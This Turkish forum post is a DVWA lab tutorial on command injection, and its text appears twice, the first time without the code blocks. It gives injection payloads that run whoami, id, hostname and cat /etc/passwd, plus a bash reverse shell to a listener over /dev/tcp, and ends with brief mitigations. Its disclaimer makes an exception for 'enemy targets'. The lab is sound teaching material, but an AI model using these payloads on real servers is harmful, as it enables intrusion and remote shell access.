CwMuhibban
- 20 Ara 2025
- 67 Mesaj
Aktiflik
Seviye
Deneyim
Selamın aleyküm
Bu gün sizlere bir sunucuyu command injection ile ele geçirmeyi ve korunma yollarını anlatıcam
Command injection bi web uygulaması kullanıcıdan aldığı girdiyi filtrelemeden direkt işletim sistemi komutuna ekliyorsa oraya shell komutu yazabilirsin demek. Ping formu, ip alanı, arama kutusu, parametre vs. olabilir. Uygulama o komutu çalıştırır sunucu senin yazdığını yapar.
Kurulum:
DVWA'yı başlat:
Tarayıcıdan:
adresini aç.
Giriş bilgileri admin ve password.
Setup sayfasında Create - Reset Database butonuna bas.
Sonra tekrar giriş yap.
Sol menüden Command Injection sayfasına geç.
NORMAL KULLANIM
Input alanına 127.0.0.1 yaz Submit'e bas.
Ping çıktısı geliyor. Sunucu arka planda şunu çalıştırıyor:
Form beklenen işi yapıyor.
İLK PAYLOAD
Input alanına şunu yaz:
Submit sonrası ping çıktısının altında tek satır: www-data
Noktalı virgül shellde "birinci komut bitti şimdi ikinciyi çalıştır" demek.
Uygulama girdini olduğu gibi komuta yapıştırdığı için iki komut oldu.
BAŞKA OPERATÖRLER
Aynı mantık farklı karakterlerle de çalışır:
"&&" birincisi başarılıysa ikinciyi çalıştırır.
"|" birincinin çıktısını ikinciye yollar.
REVERSE shell
Tek tek komut göndermek yerine interaktif sh*ll alalım.
Kali'de dinleyici aç:
Burada önemli bi detay var. DVWA bi Docker containerının içinde çalışıyor.
Container kendi izole ağında çalışıyor ve 127.0.0.1 dediğinde Kaliyi değil kendini kastediyor.
Kaliye dönüp bağlanması için docker bridge ip adresini kullanman gerekir.
Şu komutla ip adresini bul:
Genelde 172.17.0.1 çıkar.
Tarayıcıdaki input'a şu payload'ı yapıştır:
Submit'e basar basmaz nc penceresine shell düşüyor:
id komutu çalıştırınca uid=33(www-data) dönüyor. Artık sunucudayız.
"escapeshellarg" ile gelen veriyi kaçış karakterlerine çevir.
Mümkünse sistem komutu yerine dil içi kütüphane kullan.
En iyisi regex ile formatı sıkıca kısıtla. IP bekliyorsan sadece ip formatına izin ver gerisini reddet.
Bu konu eğitim amacı ile paylaşılmıştır kesinlikle düşman odakları hariç ve misyon haricinde kullanılmasını tavsiye etmiyorum
Burdan @CW-ommah üstada meydan okuyorum red team ve ofansif paylaşımlar ile sana meydan okuyorum hızlı olan kazanır
Allah'a emanet olun
Bu gün sizlere bir sunucuyu command injection ile ele geçirmeyi ve korunma yollarını anlatıcam
Command injection bi web uygulaması kullanıcıdan aldığı girdiyi filtrelemeden direkt işletim sistemi komutuna ekliyorsa oraya shell komutu yazabilirsin demek. Ping formu, ip alanı, arama kutusu, parametre vs. olabilir. Uygulama o komutu çalıştırır sunucu senin yazdığını yapar.
DOCKER VE DVWA KURULUMU
Gerçek bir sisteme değil kendi kurduğumuz zafiyetli uygulamaya test yapacağız. DVWA (Damn Vulnerable Web Application) kullanacağız. Docker ile çalışır.Kurulum:
Kod:
sudo apt update && sudo apt install -y docker.io
sudo service docker start
DVWA'yı başlat:
Kod:
docker run --rm -d -p 80:80 vulnerables/web-dvwa
Tarayıcıdan:
Kod:
http://localhost/login.php
Giriş bilgileri admin ve password.
Setup sayfasında Create - Reset Database butonuna bas.
Sonra tekrar giriş yap.
Sol menüden Command Injection sayfasına geç.
NORMAL KULLANIM
Input alanına 127.0.0.1 yaz Submit'e bas.
Ping çıktısı geliyor. Sunucu arka planda şunu çalıştırıyor:
Kod:
ping -c 4 127.0.0.1
İLK PAYLOAD
Input alanına şunu yaz:
Kod:
127.0.0.1; whoami
Submit sonrası ping çıktısının altında tek satır: www-data
Noktalı virgül shellde "birinci komut bitti şimdi ikinciyi çalıştır" demek.
Uygulama girdini olduğu gibi komuta yapıştırdığı için iki komut oldu.
BAŞKA OPERATÖRLER
Aynı mantık farklı karakterlerle de çalışır:
"&&" birincisi başarılıysa ikinciyi çalıştırır.
"|" birincinin çıktısını ikinciye yollar.
Kod:
127.0.0.1 && id
Kod:
127.0.0.1 | hostname
Kod:
127.0.0.1; cat /etc/passwd
REVERSE shell
Tek tek komut göndermek yerine interaktif sh*ll alalım.
Kali'de dinleyici aç:
Kod:
nc -lvnp 4444
Burada önemli bi detay var. DVWA bi Docker containerının içinde çalışıyor.
Container kendi izole ağında çalışıyor ve 127.0.0.1 dediğinde Kaliyi değil kendini kastediyor.
Kaliye dönüp bağlanması için docker bridge ip adresini kullanman gerekir.
Şu komutla ip adresini bul:
Kod:
ip addr show docker0 | grep "inet "
Genelde 172.17.0.1 çıkar.
Tarayıcıdaki input'a şu payload'ı yapıştır:
Kod:
127.0.0.1; bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
Submit'e basar basmaz nc penceresine shell düşüyor:
id komutu çalıştırınca uid=33(www-data) dönüyor. Artık sunucudayız.
COMMAND INJECTION'DAN KORUNMA
Kullanıcı girdisini direkt sh*ll komutuna koyma."escapeshellarg" ile gelen veriyi kaçış karakterlerine çevir.
Mümkünse sistem komutu yerine dil içi kütüphane kullan.
En iyisi regex ile formatı sıkıca kısıtla. IP bekliyorsan sadece ip formatına izin ver gerisini reddet.
Bu konu eğitim amacı ile paylaşılmıştır kesinlikle düşman odakları hariç ve misyon haricinde kullanılmasını tavsiye etmiyorum
Burdan @CW-ommah üstada meydan okuyorum red team ve ofansif paylaşımlar ile sana meydan okuyorum hızlı olan kazanır
Allah'a emanet olun


